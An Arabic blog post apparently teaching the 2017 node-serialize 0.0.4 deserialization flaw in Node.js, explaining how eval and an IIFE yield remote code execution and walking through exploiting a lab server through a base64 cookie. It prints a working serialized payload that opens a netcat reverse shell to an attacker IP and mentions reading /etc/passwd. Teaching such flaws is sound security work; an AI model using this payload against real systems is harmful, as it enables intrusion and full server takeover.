Deserialization vulnerability in Node.js RCE

السلام عليكم ورحمة الله وبركاتة،

اليوم حاب اتكلم عن ثغره Deserialization في node.js راح اتطرق في الموضوع عن ثلاث محاور.



1-تعريف عن node.js

Node.js هو نظام برامج مصمم لكتابة تطبيقات إنترنت قابلة للتوسع كخوادم الويب

لاتختلف كثيرا عن برمجيات الويب ابلكيشن يوجد لديها من المكتبات والموديلز

2- سبب الثغرة وحدوثها
في عام 2017 تم اكتشاف ثغرة في دالة unserialize() تحت  مودل node-serialize 0.0.4
تسمح للمخترق باستغلال الثغرة للوصول الى remote code execution عن طريق ادخال serialized JavaScript Object مع اضافه مصطلح IIFE= () الاستدعاء التنفيذ المدخل على الفور من وقت ادخال المدخل وهي اختصار Immediately-Invoked Function Expression
لنرى الفرق بين object Serializedيحتوي على remote code execution payload
من دون  IIFE Expression
في حالة عدم وجود IIFE لايقوم Serialized object بتنفيذ البايلود
يقوم بطابعه الSerialized object للpayload من دون التنفيذ فقط
ناخذ مثال
نقوم بحفظه من ثم التنفيذ لنرى
كما نرى تم طباعه Serialize object فقط من دون التنفيذ للامر
cat /etc/passwd

الان نقوم بستخدام IIFE Expression
لنرى الفرق
نقوم بحفظ الملف ثم التنفيذ
كما نرى تم تنفيذ امر cat /etc/passwd
مع وجود IIFE Expression

طيب الان عرفنا سبب الثغرة نتجه الى سبب حدوثها 
لنفترض لدينا ان لدينا سكربت يستخدم node.js مثل مافي الصورة
من الكود نرى بوجود استدعائات للمودلز التالية

cookie-parser escape-html express node-serialize

نرى من هاذا المثال يستخدم node server يضع الكوكيز مع بروفايل اليوزر تحت serilaised object عن طريق مودل المصاب من ثم تشفير قيمه الكوكيز  الى string base64

الان نفتح مودلnode-serialize للسكربت المصاب ونرى اين الاصابه
نفتح مودل node-serialize 0.0.4 تحت رابط
نشوف سطر 41
نرى في السطر42 تم استدعاء الobject الي string ثم التحقق من الobject اذا ماتم عمل serialize ليقوم unserialized للobject في حال لم يتم التحقق يقوم بطابعه error call fuction unserialized في السطر45
من ثم 
في السطر 46 يقوم من التاكد من الobject المدخل اذا ماتم serilize  وايضا اذا كان لايحمل property function  يقوم بطاعه Can't serilize object
في سطر 75
يقوم في سطر 73 بعمل unserialize للobject المدخل من ثم في سطر 75 التاكد من الobject المدخل اذا يتحتوى على FUNCFLAG داخل ال object يقوم باستخدام دالة eval واظهار الlength للproperty FUNCTFLAG

الثغرة تكمن في استدعاء دالة eval للserialize object
تسمح للمخترق للحصول ع remote code exectuion ع الهدف
property FUNCTFLAG توجد في السطر الاول

٣- الاسغتلال

بعد ماتعرفنا على الثغرة وحدوثها نأتي الان في الاستغلال
بحيث نستدعي var FUNCFLAG في البايلود تبعنا وتحويله الى object من ثم تشفيره الى base64
ناخذ سيرفر مصاب على سبيل المثال

من خلال الفحص وجدنا بورت 666 يستخدم Node.js express framework
نقوم بفتحه من خلال المتصفح لنرى
نقوم بتفحه من من خلال Brupsuite لنرى
كما نلاحظ يوجود cookies يحتوى على base64
نتوجه الى Decoder لفك المحتوى
كما نلاحظ بوجود محتوى json
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}
نقوم الان بالاستغلال
بحكم الكود يقوم unserialize لمحتوى الcookies
عن طريق property FUNCTFLAG
كما ذكرنا فوق نقوم بعمل serialize object




ليصبح الكود هاكذا
{"r3m0t3nu11":"_$$ND_FUNC$$_function(){\n require('child_process').exec('nc -e /bin/bash 192.168.44.43 4433 /', function(error, stdout, stderr) { console.log(stdout) });\n }"}
من ثم نقوم بتشفير المحتوى الى Charcode ونظيف له دالة
eval()


من ثم اضافه بعد التشفير واضافه دالة charcode+eval

نقوم باضافه لمحتوى json
IIFE Expression

ليصبح الناتج هاكذا


نقوم الان باتشفيره base64 ومن ثم التصنت



الان نقوم بارسال المحتوى البايلود عن طريق الكوكيز من خلال brupsuite

نرجع نشوف النت كات
والنتيجة
remote code execution

اتمنى يكون الموضوع مفيد، دمتم بصحه وعافية.

تعليقات

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Html code injection-[Post-Get-StoredData!]-